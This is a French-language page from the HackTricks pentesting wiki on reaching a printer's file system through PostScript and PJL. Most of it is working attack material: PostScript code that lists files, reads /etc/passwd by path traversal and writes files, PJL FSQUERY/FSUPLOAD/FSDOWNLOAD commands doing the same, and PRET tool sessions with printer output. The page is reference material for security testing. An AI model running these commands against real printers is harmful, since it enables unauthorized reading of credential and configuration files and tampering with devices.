6.2 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les PLANS D'ABONNEMENT!
-
Découvrez The PEASS Family, notre collection exclusive de NFTs
-
Obtenez le swag officiel PEASS & HackTricks
-
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
-
Partagez vos astuces de piratage en soumettant des PR aux référentiels hacktricks et hacktricks-cloud.
PostScript
Récupérez des informations sensibles telles que des fichiers de configuration ou des travaux d'impression stockés, RCE en écrivant des fichiers (comme l'édition de scripts rc ou le remplacement de fichiers binaires). Des constructions de langage légitimes sont définies pour PostScript et PJL pour accéder au système de fichiers.
Accédez au système de fichiers avec PostScript (notez qu'il peut être sandboxé en limitant les actions inoffensives):
> /str 256 string def (%*%../*) % list all files
> {==} str filenameforall
< (%disk0%../webServer/home/device.html)
< (%disk0%../webServer/.java.login.config)
< (%disk0%../webServer/config/soe.xml)
> /byte (0) def % read from file
> /infile (../../../etc/passwd) (r) file def
> { infile read {byte exch 0 exch put
> (%stdout) (w) file byte writestring}
> {infile closefile exit} ifelse
> } loop
< root::0:0::/:/bin/dlsh
> /outfile (test.txt) (w+) file def}} % write to file
> outfile (Hello World!) writestring
> outfile closefile
Vous pouvez utiliser les commandes PRET suivantes : ls
, get
, put
, append
, delete
, rename
, find
, mirror
, touch
, mkdir
, cd
, pwd
, chvol
, traversal
, format
, fuzz
et df
:
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ../..
d - Jan 1 1970 (created Jan 1 1970) bootdev
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi
d - Jan 1 1970 (created Jan 1 1970) dsk_jdi_ss
d - Jan 1 1970 (created Jan 1 1970) dsk_ram0
d - Jan 1 1970 (created Jan 1 1970) etc
d - Jan 1 1970 (created Jan 1 1970) tmp
d - Jan 1 1970 (created Jan 1 1970) webServer
PJL
PJL (Printer Job Language) est un langage de commande utilisé pour contrôler les imprimantes. Il est utilisé pour configurer les paramètres de l'imprimante, envoyer des commandes d'impression et récupérer des informations sur l'état de l'imprimante. Les commandes PJL sont envoyées à l'imprimante via le port TCP 9100.
Les commandes PJL sont généralement utilisées pour configurer les paramètres de l'imprimante, telles que la qualité d'impression, la résolution et le format de papier. Cependant, certaines commandes PJL peuvent également être utilisées pour accéder au système de fichiers de l'imprimante.
L'une des commandes PJL les plus couramment utilisées pour accéder au système de fichiers de l'imprimante est la commande "FSUPLOAD". Cette commande permet de télécharger des fichiers depuis l'imprimante vers un ordinateur distant. Il est également possible d'utiliser la commande "FSQUERY" pour interroger l'imprimante sur les fichiers stockés sur son système de fichiers.
Il est important de noter que l'accès au système de fichiers de l'imprimante via PJL peut être restreint par des mesures de sécurité telles que l'authentification et l'autorisation. Cependant, si ces mesures ne sont pas correctement mises en place, un attaquant peut potentiellement accéder aux fichiers sensibles stockés sur l'imprimante.
> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 (list all files)
< .\:\:TYPE=DIR
< ..\:\:TYPE=DIR
< PostScript TYPE=DIR
< PJL TYPE=DIR
< saveDevice TYPE=DIR
< webServer TYPE=DIR
> @PJL FSQUERY NAME="0:\..\..\etc\passwd" (read from file)
< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
< root::0:0::/:/bin/dlsh
> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt" (write to file)
> Hello World!
De toute façon, l'accès aux fichiers avec PJL n'est pas pris en charge par de nombreux imprimantes.
Vous pouvez utiliser les commandes PRET : ls
, get
, put
, append
, delete
, find
, mirror
, touch
, mkdir
, cd
, pwd
, chvol
, traversal
, format
, fuzz
et df
:
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ..
d - bootdev
d - dsk_jdi
d - dsk_jdi_ss
d - dsk_ram0
d - etc
d - lrt
d - tmp
d - webServer
d - xps
En savoir plus sur les possibles contournements de sandbox en utilisant les limitations PostScript et PJL dans http://hacking-printers.net/wiki/index.php/File_system_access